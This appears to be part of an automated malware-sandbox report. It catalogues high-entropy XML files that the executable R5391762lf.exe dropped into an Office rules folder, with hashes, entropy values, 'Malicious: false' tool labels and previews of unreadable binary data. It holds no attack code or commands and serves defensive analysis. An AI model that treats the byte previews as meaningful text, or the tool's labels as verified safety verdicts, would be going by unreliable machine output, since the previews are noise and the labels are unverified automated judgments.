Preview:	<?xml.'m.G...[.J.f...1...J_v..T......4,t}.W..V.....A4M..[.........-.2..X..4?.tJ....()\|.O..x...../\|.nER...j......Af)(.)R.Z........ YK.WO...8....?.......{....n....Fq....h....p\|.4..O<.d.+2."h_..Bt.....r..8..eS...h....ip.j{....1....]...hM)k........n..Y1.!&.t.~....z.....]97,R....d...l.#[.Ks..3.i>'.1.....q...q.d....y.h...By...%.l...........1...DOf.,.H)4@..r..8.f..r\...]".. A.y,Ce7y........-.W.5.....3Gk'.LI.K..`.K...K"FF......M...h"<...C..f/..L.5..O@.l.1~...>cT.&4...6H.....Q....c..\.........U>.`....T..~...3.FG..?u..a...Fv......C...P.$...q.o..$.R....F#O..g......._..v.7...(..}......g.1[.F.I..4-.>....6TI...)....0.....l.>_......}..5N.8.i@2w7...0O......._.h..:.w.E.=}~.j....b..eL{.....W..J..8-.h..L...po_ Y...R.X....<.X.@K....mg\|Yw......TT]P6.7.i....+tC.F\|.+.Y...I.o.....]..uL.h.o2.X:W.3e.n.]).....~x.G........cv.w1..5.....\|........`...V<,.......o.o-.9.Uz.vc!.X..q.]......y-..q.o.[.N.5h.}......1......&..R'{$..b...D.7....0?1.q..5z..n6.... \.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.8645090392284756
Encrypted:	false
SSDEEP:	48:Sbir2SBnV4hOWidF+UAKgLhKc8O9a4qbILUXFuED:WiqSDWa+UAKg64qbILiFuQ
MD5:	8FB54E8B9FFC3AD10052E40C21A2D64A
SHA1:	C5308F20D4AB63C5D54CDE1088B586A0AE20D09F
SHA-256:	E63ACAE49708AED152CEF4AE6F065769C38221A5C861914DA4A1B53B2A1DF311
SHA-512:	FBF3A46788BEBF0C4D04E5B0731DE8004F102747B1D7F7ABE1243A1A60BEA3AF76022B88338B74BC9D135FD6994002E3BBE78E612F7AFDF376902162840393FE
Malicious:	false
Preview:	<?xml@8.M.(.1F....q._.g.b.p.b....K.D9.q..v.....G.A....`z...m..fBj.m......8z.ZI.>q.mo.M..=c...F\..w.iJs.CP..5pOU.......U.\>.}.4..m...M.yY.BS..F(..J....hB...3.UR.atEj.k.r...][+.S2..?..o...?./....:QZN1.....#.....I..\..:s.[.9%_..Y.V1=a,...G(..9.$R.#........do.O. S.:.H..^..A....#..>(Dh1.'...`.]...(.M.q..3..\H...O.Bk...CY.~..3....v.r.(d.h.P....{.[..!...`Y.rX...7cz-9.Af.2->0.O..8...}a...~..(....%. ..j..2..../ .R.<}.%>+...Q.......R!F.3.Yy)!.\w..[.G!yY)....%.F.bA..d..V+......J{{o"zC..H.pT...j(V..L...4..CS....&}.RW.2.a.Y...2-F...N.Q.p.y0.cwBm. ....N...................q..L....rf.+..A...............i..R..J......kP..Xg........9b......cu,..S}!..0....k.Z\.5...D)..U......3......R.g-..fw.......0.Vqk6.6._B.`5....}~.O..b..h'..du.........B@......R.......W..T.2X...PD.>X.8..G,..p..8.m.j.}..2.`...2U..5.dy......9.,. ..c..y.\}g.yVw../..V.%...{....,U..q8%(....v...wT...}..%.}5...t.l..T...L..28.....d.X.Z.LwC..p...F.J......i...\|..y..Y....c..T....I.e.....\|..BQ..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.8827159815491585
Encrypted:	false
SSDEEP:	48:zB0gCLjZYrAuYMJc0t1QDBCaIh+t7PtoNRXFuED:xeCvYMJcCcvIhjHFuQ
MD5:	486C9E3E82528842914A65C690145A69
SHA1:	CD9CF3172D5E0B8A35B9EB7D4028FEC18D5AB98A
SHA-256:	091C79288B9C3419513B6FAE2777ECDDA2074E75E0288AA238FD8D62013CD42F
SHA-512:	E47AF28BF4AF9FB0935E369622B8B889D33130D097C0B21CA27D249E9325879903445B6E1A38010248C1D5C701947F95725F26D2C16A6ADED92E33A6EA6DB8E4
Malicious:	false
Preview:	<?xml..I.9.O.Y.....E..S.A.5.....\|.;a.i.!. ... F....."&P.J..d....$....!.k.l.N......{N....z7.W.&......]..,.C.9R`m.s@..._.S...kf%.....Dx3:ilK<..c.A.!.5.-...Gm..kq.P.?.'...s....^..`..aH.\|.M3=L..UP..DP.(..w9W.{@..1p......1..".._..A. ....p.xb.......@McD.&..c.'F...k"...F......hQon....H.......2.F..~...x..-..9.....Jn.C2.49..c.......}$...)d.9.{U.=...,..E.....)...:P lA.:...PVY...@.., .......S...W...'...}J...7.M\g.t..:...q.G..[..[g.SM{.5.5n....H....xD@.PJ.{>..!=..f...tp\|....ar.p..d..I....6H1]~z..M.*1.(...te..P..O.T..`>..2.......1.G.(~i..sP....A..F..h.UJ4.. .d..#.5U.G....T..evH..?.... ......#.Z...L.....R............T...<._.w;C.oG@f.~l..........y..$..Du..[...!.PC.f........b1i......g....(.~...i......qX.....l]2t .(..i^....R.C.:./y.....O....;.@=...T..\|.....7.h...$I.....u..01b..\........DQ...fu..a%..$....88c.C.nO.....9.,IUs...c..Q.....&..:..K.....B......].4~h..x..T;..\|..b..ft..k..-.^...&.....y....)oc...............\J..)?;I.'..?.....qB.....)#.....,}Q....I.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.90355997060074
Encrypted:	false
SSDEEP:	48:wxjkNaQj9WyaEz/NQrAN08Q0ru3gNigRnreMDtXFuED:wxj2aQjkyamieNi3gpRnrnFuQ
MD5:	0626638A323328F64D56AB3AF59E7ACB
SHA1:	14AFCB57572C5D4926F1C1FC758FED30780A3CDC
SHA-256:	7B658A893C2FAFD20F78405AC56BC3A440E3DDC288A731BC0B008F1869178CA8
SHA-512:	6CBD9FB29C4596565279A3364BFA941208F2F201077F8D076FB4B27C4834B839EF2350EBDE8DEBE916F344658505882430B3500E54E15D5A2D97BB26734BAC80
Malicious:	false
Preview:	<?xmlM...g.oYkc.F......kB....6...)t..q..kr.pis....8 ..X...I .&..........:.I.vRy..Gb...z<..:.B.4lT...../.]...>..X.^..J.I.t....Z.\|OC...r.......s.m..r`...-K..f.I..y.s.@\........\V.<h(..n..k.f..P.:..'.0....dA=..!...N.Z.e.....J.)...!...q.l......A..[.;.w..T.i.>B...]j.F..V.1\|..l....@..A.0.&....9......YQ....U...]2\.`.+....../i....t.......Z`..)...# uX9..N..=..[?-........T....b../K.\|.vZe.q.s.-.M<C...............8..=....!n..h...CFa......7..s.2Q[.t.J.a.....ZZ}\|...'M...".8x.^.....8..WI].Uy...-`V......7J..).!..%.[..[\|.%... ;....!.g...S.V..].J.:.V4...........{B.......f.....K.{w..2r6e.iw..[./....+.&...B.W...R.3.OO.....Rz&..jwf..2...y....x.{..$P_n.....m.7o..5n......~.......tY.:..X..H.O.P..Sy.D......k?..j....\..7G.7.H.....{.9.......c..-H.@R......`f.....s...p.=...}..A.]!]&vA-......C ....T...........Q+..2......I]V..{!.\..9.x.c/..5.]........`S....N....Df...m.a.L...Bf..M..v..,.S=OI.-..9.D......cdl.E.i{Lv..xpt\|%..Y.#..J.5.].....!.......I.J-...RzG.Q

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.871731203603036
Encrypted:	false
SSDEEP:	48:q3rMl1VpplcorITIi2ozcdVmGmYslOHvLNmAXFuED:Owleoc72RNmWFuQ
MD5:	BDFA74A4CA3824E5C51A46107B7BFA1A
SHA1:	0172A85C695E2BFE160A3D314A1C314D9877E49F
SHA-256:	F505ECEB4D28552BB571C175A61DB0A636EF7D9FE7199C8161EFF334E64293FE
SHA-512:	27B6ED3718DA25600FA03CA49EFAFAF7AAC3460BAB1097A505C5626EAC6B76B6C8128B5162E33221C4D1C9C2707EA8809FB00A4F265F3701F4A6CD84DBE8DFE3
Malicious:	false
Preview:	<?xml.....m<....7..UT.Ka......."C..F2+..b.qg.2l.%...c.....Zu~....6....p..X...[...q...`..W.e.r7I..I.aP....~rw.<...a....ZD.P)...\.MS.....-...H.Dr.....m..{.V..........0Z...\|.R.L..m...C.....+.ra...<..H..ea.Ef....C.ack.;..-..k9..... .7...L..t-..j....Y.kk..?.o............B..7...H.)3.:.O.M..4.R..=../.M8.]..........j~#..~....Q.x..E<n.s.i^......n...5..b8...G."...w_....nz.+...... ..s~......<Q...J..o...&..T....~.^.{.-....2.N.#..+.0.).n:+...x....l6U?.L<UJ`.:....sIV....9....Z>6..J.k.d...(?...!n<?.............}...3=..F..#KgX.m.A..x.]..r.<0..".j..d.h....[..\L.[...A..[U...e.M^H.k..X..0.H6le..)..\|..%.Ix...1Q...k..]L...nK..F..+AV..3L.o.Q.3.iOP/.JhR.$..#a.f..r.....k4eBg51..}).D......q..i7...v\|/....n.}.~5W@.F{._i.X.vt.i.....>.@=B..C....[..Cq.Qt<..6..v..U?....=W..D.......?v.+[DE....=I.oZ..Hlx...@S..s.g....Q......s.G3.d=O.Wv.:.~..b..2..N.&JuBH..3....Kr?F'..]PQ.V.p..T..(I...C...Qyv.%..7!..V....3...+..].y.p..-....3.[.Z...A.L...[<.5C....U..1.E....1R....1..Q/<.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.867559848172479
Encrypted:	false
SSDEEP:	48:Xb7U/n2BxdMIwUlAtzFDHLXFZZ8fhK2OZOy0W2oh9CnzbXFuED:X/0MdMIwLjLifcmhK0nFuQ
MD5:	3F8AC7C58CC1104AE42821813F4B1AE4
SHA1:	C4BAB853DA2E6F329B61F867DE766CAFD5676AE3
SHA-256:	B57838ADD083A369DA1B5E470BAE2525FE3D9FB6D42A4C2D00E999F62FF59998
SHA-512:	0C61C76E264AB33A628CD162BAFFC8D091011BF12F42A5A0664A1B01A864BBC79D9E50CCE468DEB945C80F2294567B1D29F067D16342AFCC1B031440D983835D
Malicious:	false
Preview:	<?xml.U..F.U......\..T....uj./F......<.kR..)-z......<F.Rl...5z:c."....\>.+@'h?.f,Nd._.n.I.6F2W....#(.............'...f8..\\|DP..........n.>...[.<.o.m.GM.$..[#S\.N2.,..[...m..dWal`3....e......8t).P[.T...&.....F.6..V......!.Y@}I.\.n.N1..>i-.(.6l..0 6....=..AA......^.h.#,=.b.._..4U..3...ff+..$.......TtF.Qn)J..].%8.......I.S.J.b.........u..:..;V..^.}...qp....l.\G..,\o.......xu..T.k...aaF..DK".7....4...c#$oD.T+....L.....CJD'IK...'.@.......a...p....,.=.\..1..._........~{.......NB.......\|n..c7.\|.Q.~....:....2p..bM.~....c.(.....Z.{s..a-}.<.....2..9....L\|.2qms.......0.....@...i.....,.I.l.....F.k.M.8..M.?..aR....,.z..Q........9W..r.\|T.P..4n.Z....9]^.....j-.[A.p..X..s..d..M..z..5.xJ.b.]......v{.'......N.W..Nf.b..;.G.b..-.>.....Q...E.P...{+...O...V..Y..5.P..d..\|ZS........4#.m..{%.C.Q2.?z.....9..h....xM....\|.nY...Z.X....Y...#.`.....$............,<w...DX1.o..5,-.T.R.)..BI..\|......r..*P.....E.......Hpp...o.D.>.Q..cT.....BK\|. ^......[...d....L.H..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.892646579738692
Encrypted:	false
SSDEEP:	48:fCrqHOZOsoZUlICvXwQj61iCGGP6Jh/zXFuED:BHsTvAnGPhjFuQ
MD5:	75CA30FC33E42069453B4F36C352B223
SHA1:	574D3CF3E0D559D8962D721BCCE528026705314C
SHA-256:	553DEE8830084F409CEB1670E276CA05A57869FCE30D5EA9C92B17F6A17416AB
SHA-512:	A0F8659CAFC0D43D5163958CF552051220C63CEDCBFB6A9F364FD16BF8AA33AF3439D3A85098273AE8B632C8616A4E63F4BC58A0308FA0EFD99D34406F394A71
Malicious:	false
Preview:	<?xmlo.R.,.Y...f.-=..7.].y.@.bYuZ\|`..w.O...-Ir`.zk..yP8....Hi....@L..c.k+........<...<.....=.FO.d)_6$.........3b.U8..j.w..B.`...a5..xk...S.E..:>.h.(..r.W..`m...\wws...v1..-....6.....A....[=Q...{ ..Xq.c..%.iQ.kJ.7........?...q1.o.=.2Q....y.;.'..d.Ct.(..'K?,..X#.....s..U.....X....cH~...D........8..?..$j.....z...RC.n.g...2..D.Hc..:.EzX....=..g..W.w..W..........#.....Dh..+.%...k[..pgl....2.K..7._S...K....rQ.T.X...&...n.... }.I...c...Z..J..E.B.L...Wh...T(f[.r^k.'l.r9W....,..'j.g.<Z...AN$...K..j.....$....@..y_e#..^....r1...Um.`....D.&x...M..=C ..v.!.<P..hY.xx*c.+..k...]..g..&X.T.M.5oS.jb.LQ,.U..vQ.m...53C..4.G.....T......Er...#..p(.[......G...\|......}.......<.M,?bj$.%..T..w..D..P.s..-".1S1}.5KT.\I:..^.Ut..{..L..G.t.E..+z3E.B.B.\|\S5...A~..z..u._..D-^.n._.7..:..].n[.N..=I..w`.....}..m.svl;.o.$.~q4I..,.=,./......H$(.t......p.&...T.%.=Q.^q.ygK.4...M...y....\|..N....A..=..?.IP.'0.Q.~..........!....+6.O.........C.l...Uec.wl.cee...5..t.-.!1F...RR}

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.886447096825355
Encrypted:	false
SSDEEP:	48:bK2Roxqj+gqvKNWypW/a+AH6jsWmvSW9ib9lXPGXFuED:HAaqbLaDH6cT9GP8FuQ
MD5:	4DACEBCBAE61CC62BD98DB5983A72D20
SHA1:	30EFFACF10BDE01181D73966B6CC9B9F7200CA82
SHA-256:	2D488F9BA7EECBDDFF9DD7D12C03EF994DEC55757D65689101CE48E0BA79BEBF
SHA-512:	47EFCF06FF803E91ECBC63A7DADA6808B3562D8CD75C30E9334AB07D8BBD5DCD3D85604A2708A2E7C0F873CC0F02935FBCA7776D740A7A1CFDBC8D2EDB75561C
Malicious:	false
Preview:	<?xml$l...v... .Z.i..:>:...4k._O.....9.6..lh.........5....^.o,....>.....F..Wy..+.s.w..`.Dg....qZ...TX.O&....t.(..D..IR.[M....w.3.7.b.D&(...T>....0+zR.6.1i.........c.....ZCc{Ez._.0.;....>.w.(z...p:.U8....>.!....,%....t]jv6....u.!..J.+]...v....).\|vI_S..mK..(8..R.%.W"_ujp.5.........[.......Hj.L.).......5..0....)...g...<U....&...;l]a.3z8..T.0..#~..A.Z..I[....._.....h<...N../:y.W.N...p.(.>$5";.............$(....L...tY.)...i...]...dC.I.i.....O.vLH......z!..=K5...DI....-..R?...=P{...~..-....-.@.`E.....A.."Kk..,@.R.......+.....C.cm...2.."..._.......6.......\|KC\...+......t{.m...Z.k.E+6JQc..Bp".d....#x?L.....@....".g....Gd6@.5L.p....+.HY6i..@K1.K...1.x.......h.. ].zo.bV..sy..@.....6.v."..FY.S....?.Q.1.O.:.....4.......k.#.;!...Z}Q...).r..Z...D.&.4..`..f.....J...x....ox........Y....^...a.*W\....}......$...,.6.b.5!h.@.4J.$..a.OY.J.)...G..X..L.P,B..=.5DM...#.Q....).&..P[C..)6..x.m.a}Oe.r....+>o3.E.K....U.....w@y..&.7......n....7N..Q.VR..{r%:!.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.862078767582197
Encrypted:	false
SSDEEP:	48:U/dR2QPSMvy7a6yTsO2tf+8TOLpy2rCqy/6KNjtXFuED:UfNP3K73K8tfpTOLHTUFuQ
MD5:	46C6344708FCAFDCD8EA2B2AC8DE36BA
SHA1:	B4B9DB5D2AA61EF2529FEBAF915629CB5361584A
SHA-256:	3C2F54BF2D88651E081BA634216A33D7BC3C7355DD81EB09CCC7C32A09E83CCE
SHA-512:	64A78DAB1572007BA5D5C22C40DCF57E58D868FB4D9A50FF5CA916511A42E6EB61E87896438A2AC9218D389DC28D79458D19875E50CD129AFA64DB7378715FA2
Malicious:	false
Preview:	<?xml....f\)..8..^..Ck...e.&...XI../....v.bX....i.......cqK7..3.=W..Sx.g..9...o..8.e.z..,..l.\...=T.ds.+.....$..4Q.._}3.wT..9...\.:.7.B..m...CO.1!U.w...[')..!...J...4cX....f...h..#....~....g./.X.....X.d.d'..\|.}f.'g.G.m..#. &0q.K.Qb.w=X`u..T^...6!;......h..W..../.-......r...J..S0>:.Z..AO.W..$..K.I.+..T.......^.R..)..k_..2.T..#..0.q. OW0........e.T..{....@n^.9..((.......,..Dv....6.gb.nb.G.R.M..;P.d.......S_y....m~...8=:-...N.._.....x.R....t.j.!............<. .R....o._.....[....(...ig...oAO}C.".L....b[....(.@l\ .....N..=.p.p.Q.ZM.X.s......{......Z......G.U..L..7......2..K..%.S+iW.l....i..Vf.H..e...Y...)0.ql..b....[..,.....4_W,x;H/..C..y..L...#.K.(....W.._..L9..8p.iU..... ..._K..Ig...#.G.5.}.B..n.g.r$s...K..X...K[...d....R~B .,'h)Q.,.....#..;.e.i.W#.f...O...K...T..b...4...G.c1..G.Lv9T8.#..d..Ql..[..CF........>...EO3..m..5E....:..F..od.i:!3..P.n.k..Z..]...o0..........8.~....x....V.dY..o.!#..2.bR,....)..0% ...I)%.p..y..n"(.s....F.I....HO.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.884998522421847
Encrypted:	false
SSDEEP:	48:6BuL7G5rSiGrQMJm8/Wol8cbGieGGwqXFuED:jOrcrQMM8Oo+yMGoFuQ
MD5:	CD7BDA9CBBF71EBCB57D208ECCC85744
SHA1:	C5967CCAAE9983305E85A4E3C97917572DEEB71E
SHA-256:	5717AC80202D28B65FC6159D839A814AC047561DEBC1F111F520119EB7ED3B20
SHA-512:	D8228D2C15D3D1252A43A0D96F53215C215AD94F9721BCF3CDC51CD7E95402758BDF8DA12025EA9505893B9C9C3946D9B90C0E574809CA70183509C7FB9FE41B
Malicious:	false
Preview:	<?xml.y..9...:.;......1...2.Nv.rtq..9...$N.._...3.\.:5.G.[....U.....6.\|h,.A.x..}.9Z.??..B...3..#...n....#.'..&....t.90.X..&..zb<[.]...GYA.Eyq.$_e.l.$d.E.0.9A.C.u.......e..H.f\|....u.R..k...N...&..=.....J.-....+P.F...x..eR....4...{Ri@C..Z..,.q.......D.\|..y..J.3.v9...2.P1a....x_B.w.*K.RjkC`...J0B_yU.K._9.....Qj..Z7jE..i....t.....f....8..O.Y{mD.!{.b9.....bC..&.V _..:x.3'.N.#.7...S._.z.......D......`..r..... ..J][.....oa.{&.].. ..=c.@.R?.....+...95.^V."&2.../..../.....t..kD......s..X..U....Ylg..rR...O..eB.e.....Mr.....H.N..@G9M..........>.. ...$#.....s.....I..v.....#bH.cE...cxFll...pH.Lp.?.o.9./.,.._g..i.mD.V>....+...j.......,.J-...~.0e0.xI..M....p.FZ..._..j..:.Lq..y5.!...".]".....:...W1.'.N.Q.. .Kl.g..`.}!..........h...=.......(..K.O'.....'4..APf...A.>g4.Y}.MxfM.!G.,..Z....~_..;.b.z.D...]4....Fyi^.P.....U...V.K....&vM.."......f..x..U...2..Ri.-h.~......./S4e....q.'8.f..........cn.e....T.$....?....S......FG...6Y/......(...T..P.f...N"\....<.....)

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.882752139266791
Encrypted:	false
SSDEEP:	48:FBmmS0gYbyncoagvFtft1SRjlIHjflTU9SgtUX3WJhfzddzXFuED:nS0gY+ncoagTft1E6HjN49StsJzFuQ
MD5:	71F89D2135381136FDB3813794961E59
SHA1:	7C09EC258E162685113696B23E12D0AE95F5322B
SHA-256:	1A4CFCEA44CD1EAB38ED3A6634E42FF8591AF910CCC2747A304FDA3688602D4A
SHA-512:	4B44DA82258FF11160084C790A8233CE1A4FF8F01C00B526E09ED36EAADCAA0946FB685A16ADD980156C9675A3058D571B4FAE7ADED57F9DA4686121BE7063CF
Malicious:	false
Preview:	<?xml.x... t...qtl......X^.M....{3..oV......e.Q......f..J_8O6.~..;vB....W...B[j..(.S..>.cn..s.6}.......;.G..T@..F).......7.\.NS..sc...z..#./=..P..@.`Y.{.k.6C`..jC.^.."...I..i.3.2R...i.qh.ve7.T.9..ArSi.S..]..).A..H..X..9.-....X.....M.b.....>....il..\.......k......_a.}..8..(..%o...{.@....=K.Y.n.....}w%l.)....!U.......v.3:.2...c.H\| }b.r......2.#...-.^.0....`k4....:..$"..s..%....D.....\|..O..C.&g@.P~l.,)...y....E..JofD....Yz.3.)"f5.{g.~$u.l..1S...1q..d.b.C.z.......8@Fi...3.4.u..G.._...>u..!F.X..U...!yC.at.=0......Y....L.x..-@.K.V.2?..)..B.)..e...x....d..d6k.[..... ..\|8..zxa.2"..,.].._....._..^..-.;0.j.&Z.]......m.6.r..^_Wt..;.a...5..^;MQ:.....\,p<C.....h......y..C.u.{..A..BO-.-.....1.`...9..i9ud....t.?.\6..L..JP>.h................8..c.VP`Y...z.`nq..@......@W.I.v$...\|..p-............t...&\|...TYV._..D...E...4....f.}.......i..F.r?.W:r. .......;..Jp@.bp7..~[".../4.j......UK..Ur...y..<01\^..Qd.*..RO..n.....\z.#.6....N3..7&..=.6....[..K.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.878242203240223
Encrypted:	false
SSDEEP:	48:oM5cR3kdbtqbbFpuz4faKWDjr70ZFmDMIiXFuED:oHRUxtqbbFpuz4yKW0ZF0M9FuQ
MD5:	5E8C2EECC65464B3A1F4939232AD1B9E
SHA1:	02820ECF3588F8A70084B92B35ADC429D2F23D1C
SHA-256:	E6BB42397D4260E61FD3317B11994C5DE68499C519C4711873D9004BE46AB213
SHA-512:	4607B75F3AA4DA0F61A4360A1BF2089F3364D264610069C4D14F1DF3CE8E7E3537EB1EDF5C671E3CF93ED3FCFB4C0CEE0D0E76D5AE0DE79CB8B41B3A5F7B59AE
Malicious:	false
Preview:	<?xml...m=,R..g.#.......C..z.7.w8.1.%9..hS....VO........zJ..f...\.........8m.f.a.f. T..s.2.s..^`.>9x..s.....1......].....r..r.J.....GmG....3..T..F.v.'........5i.0.p.......3......J.Dd...I.H........7W.B..,.%....GG.%...}.h`P...6.N..#......?.Uf2.71....u.Q..p.!......"#D...M...zm5.ua..^.L..R<Y}..`......:..S:..^....z..,..n.....=..=...ffkH......BOw.?.w..dC..a.u.(..1O. L1._..g...^_..\%B!?../L.:......e.0.s..b....?hC.K..H O.xYv..0....d.f..}.x..ch..2=.V{..J<......R.{..-...........\|9.7.Gj..\|EN.i.#I'^....A.5.&.C...Z...7.&@.db...Z..3(h...-..j<.C@..lF.h.#....\|Y.fR+.J..j#...$...5..J;...).........c......3...`...z..ws..."53.........b$^.C'...=.X.....n=_...............oB.F;Do.3[......x.3b....g.x....:.JLD...,O..~..\b.........]'S..Yo.3}.kVU..@.6..rz=......L.\|..2..eY:.....E..W..P[O..?.=.......9....dT.~Tp....V.-........%a\.....@v`..jl.@.i.....F.[... ...w........=... P...Q...R..].G.......g..Y..(G......xS>.\_.......,.M..!......^.cQ.!".Q-...7...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.875789628265494
Encrypted:	false
SSDEEP:	48:SHF3n+CVO5etF+SQ4QyFlTaNpAVq1aKXFuED:SHF3+UWO9QNy3aNpAY1aAFuQ
MD5:	003A3A8CECEFB6C1654B757F5EE2F517
SHA1:	0EDAC2A08649FE37BC01228C1B540BFB3E2314A6
SHA-256:	4761F7CDA3ED3EE263671AD87051B0253B00272821960C17EC203EAB53A9E7AC
SHA-512:	E32F766BFDD307BD6049F9527EA227ACBC6A4763167F73DAE7EBEE9A03927912477333D5F4C0840FC08A51C5811EC3CB4626A821DD3EA6B6B3691B17064C604B
Malicious:	false
Preview:	<?xml..6...x..p........X.......k...g...3......o..C.nYJ..y...[8'.....@.x......^..G...[........~.....M<.._....."t..f...+..Y..Iu(....6x...W.t].v..j"K.....)vP{.<...z...K...;..9...2.vh4.LM.Qe..Ue.].p......k.R.P..8.f..&"v,...X7..s.S.......f.x.{.K..W..x...%..;'.$......+....&.f>Mtj..n..>.u.....Q.;...}...'0......M.).1s@[...,.>......5.>c0pxB.O...Qn.m`q...A.ou.6..SR .......Un.....r...J..Z...oO.P.'..G......m.gz[l....A..v.h..........H`5..K....N.Kd...S..X.r.qOvW...\.....<RsM9...}5F.d.?......;.8.}1.....q.`..=.....2.4..kxU....c.i..HG...M..",...YO..q...tp..#..\..]...s.%...{.>...R[8.a.~..j..Y.jz.....Mz.[.FB...9.o.....%.k.;3. ..."..O...\|.4.6...Yd.D...K..U..MT.~pb.:2.@.j.......y..c...?\2i...a.S....... :......#5..B....%...Oxa.N....A.We.&.j....#T....?{...o~..i.d..c.j.../.URA...b..D9Y...2/6O..3..[..n.......7[!la{vO...8..;....K.3...,.V.o.o~...A.....G ]>..uu{...YXt...N'...m..."......N"..~i..k..e.......Bc.....b...A..El.......].\|RnZ*.l.}..Y......2.7..4M..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.887739140800678
Encrypted:	false
SSDEEP:	48:JpR91S2wJta0kT5BXUcq/gehR7w40dghDg9eYNXFuED:vbE2wJY0kzXhqoU7w4/g9lFuQ
MD5:	ACDA46A0BF6D7E02847EFE3FE940538C
SHA1:	1EF27AB7BD5D82AFAFDA5798C012E1B206C3D637
SHA-256:	7099EA903A1DA3E282C52B6B47F8B0D20E4E6D61CE52929C4B7217A0DC5D914B
SHA-512:	F70CD225878496024C071EEDF896A47A7F9B2FCC41398C22B74BD626A94E47410FD63B6F36CCB9FECFB164C010F94DA89A52849E08689C681823F4B2A47652FD
Malicious:	false
Preview:	<?xmlD...`o..?.K.`..gO.l5'`n...r.R....T.:..0{..]xs...d.(..4#...9...2s.m}4Q..%..H...%i....)6.9.k...M.cv.....s....O.s..3..Q.......A....)6.........:.n."x...c.....i.^..l.b.....T....y...H....j...,.l...#.9%..._e>.^9.U)...<".....\|.......V...&.!....Fs..)h.f...H..YUL9...........&mo?"u...d...>..)(.z&....q...7s..\b........V....&.Qp.C.ft..I......9..0..k...C.S.1.P.{...~.\|.....I..R.u.. ..J...ts~3..O...T....1.V.p.k.I\"......M..T...b.....#..Q....VK.`nM..F=....{.t`FE[.,,..U}o$...?...%...n..W...^...3.Ov....P.#...,..)v..\.)f..#....X.)....u.......d..%...b5.i...O...~.}.v3...k..W....Qsb......4..9..?..L..9....O....]... >...`.rh...Y".n....'..(.D.. .}v9......09.....l....Ewm.*.....P..[(........_P..40qsr..t_.O....xjcK.s\I.S....?......(.;-K.(.!\|...F....[<l.D.9n..-.....C.ZE~f..G..nD....../9.....r..SJ?"....r0l..F.y...Wt..!.7.D/.6...Eq2.;..y...-H.:....#.....pb.G...m6.t..G.C...[#XRVh9.;...m4....d...'J.....AOP..R;p.....cH.6...3o-..0]...t1.j+........f.e....F....Q.0.6,....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.891043981823831
Encrypted:	false
SSDEEP:	48:HyB8IXUrj4MSDo8lsB4Hmvb0tTWiElAHIcXFuED:HtIX447sUY4WfWH/FuQ
MD5:	2D32463D11A36531A82B7DD0EB322D49
SHA1:	04BF9FDDEF4A8A29AC02EDE84BC5C7D3A41505A9
SHA-256:	438034AAE3C2F01803C3595DB81A4E9E25B11E14ECB4C8B9763DCE04C9E2DFE4
SHA-512:	8F38BCDDB925D96B26314E4E74E3BA6B2810D65501E3ECA21F22680F6AA220DF8CC570F51C7E86121594C8D72EDEF913C82F5DF11EDA43D89A5A22076157E485
Malicious:	false
